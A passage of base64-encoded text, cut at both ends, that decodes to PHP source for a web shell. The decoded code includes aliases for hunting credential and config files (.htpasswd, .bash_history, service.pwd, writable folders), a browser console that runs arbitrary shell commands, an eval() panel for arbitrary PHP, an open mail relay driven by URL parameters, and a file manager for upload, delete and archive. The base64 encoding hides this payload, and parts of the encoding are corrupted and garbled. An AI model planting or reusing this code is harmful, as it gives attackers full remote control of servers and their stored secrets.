gCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjbmaWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jbmIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2Ig0KCSk7DQpmdW5jdGlvbiBhY3RpbDbzb2xlKCkgew0KICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7DQogICAgICAgIHByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIHRydWUpOw0KICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgMCk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9zdGFydCgpOw0KCQllY2hvICJkLmNmLmNtZCYWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb2KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XCdcMCIpKTsNCgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW7XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7DQoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQllY2hvICJkLmNmLmdHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOw0KCWhhcmRIZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49MCkNCgkJCWRvY3VtZW50LmNmLmNtZCYWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyKys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVuZ3RoKQ0KCQkJZG9jdW1lbnQuY2YuYkLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3NjcmlwdD4iOw0KCWVjaG8gJzxoMT5Dbzb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48bGFiZWw+PHNlbGVjdCBuYW1lPWFsaWFzPic7DQoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7DQoJCWlmKCR2ID09ICcnKSB7DQoJCQllY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7DQoJCQljb250aW51ZTsNCgkJfQ0KCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7DQoJfQ0KCWVjaG8gJzwvc2VsZWN0PjwvbGFiZWw+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSJzdWJtaXQiPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lP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ycpID8gJHBhdGg6JHBhdGguJy8nOw0KCQkJCQkkZGggID0gb3BlbmRpcigkcGF0aCk7DQoJCQkJCXdoaWxlICggKCTilp8gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsNCgkJCQkJCSTilp8gPSAkcGF0aC4k4pafOw0KCQkJCQkJaWYgKCAoYmFzZW5hbWUoJOKWnykgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCTilp8pID09ICIuIikgKQ0KCQkJCQkJCWNvbnRpbnVlOw0KCQkJCQkJJHR5cGUgPSBmaWxldHlwZSgk4pafKTsNCgkJCQkJCWlmICgkdHlwZSA9PSAiZGlyIikNCgkJCQkJCQlkZWxldGVEaXIoJOKWnyk7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygk4pafKTsNCgkJCQkJfQ0KCQkJCQljbG9zZWRpcigkZGgpOw0KCQkJCQlAcm1kaXIoJHBhdGgpOw0KCQkJCX0NCgkJCQlpZihpc19hcnJheShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOw0KCQkJCQkJaWYoaXNfZGlyKCRmKSkNCgkJCQkJCQlkZWxldGVEaXIoJGYpOw0KCQkJCQkJZWxzZQ0KCQkJCQkJCUB1bmxpbmsoJGYpOw0KCQkJCQl9DQoJCQkJYnJlYWs7DQoJCQljYXNlICdwYXN0ZSc6DQoJCQkJaWYoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5Jykgew0KCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsNCgkJCQkJCWlmKGlzX2RpcigkYy4kcykpew0KCQkJCQkJCW1rZGlyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsNCgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQoJCQkJCQkJCWlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IGVsc2VpZihpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikNCgkJCQkJCWNvcHlfcGFzdGUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7DQoJCQkJCWZ1bmN0aW9uIG1vdmVfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKEBpc19maWxlKCRjLiRzKSkNCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikNCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR6aXAtPm9wZW4oJF9QT1NUWydwMiddLCAxKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJuJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZXJhdG9yIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndWaXAnKSB7DQoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd0YXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICBleCgndGFyIGNmenYgJyAuIGVzY2FwZXNoZWxsYXJnKCRfUE9TVFsncDInXSkgLiAnICcgLiBpbXBsb2RlKCcgJywgJF9DT09LSUVbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQl1bnNldCgkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7DQoJCQkJYnJlYWs7DQoJCQlkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJpKSB7DQoJCQkJCXByb3RvdHlwZSgnYWN0JywgJF9QT1NUWydwMSddKTsNCgkJCQkJcHJvdG90eXBlKCdmJywgc2VyaWFsaXplKEAkX1BPU1RbJ2YnXSkpOw0KCQkJCQlwcmb3R5cGUoJ2MnLCBAJF9QT1NUWydjJ10pOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJfQ0KCX0NCiAgICBoYXJkSGVhZGVyKCk7DQoJZWNoby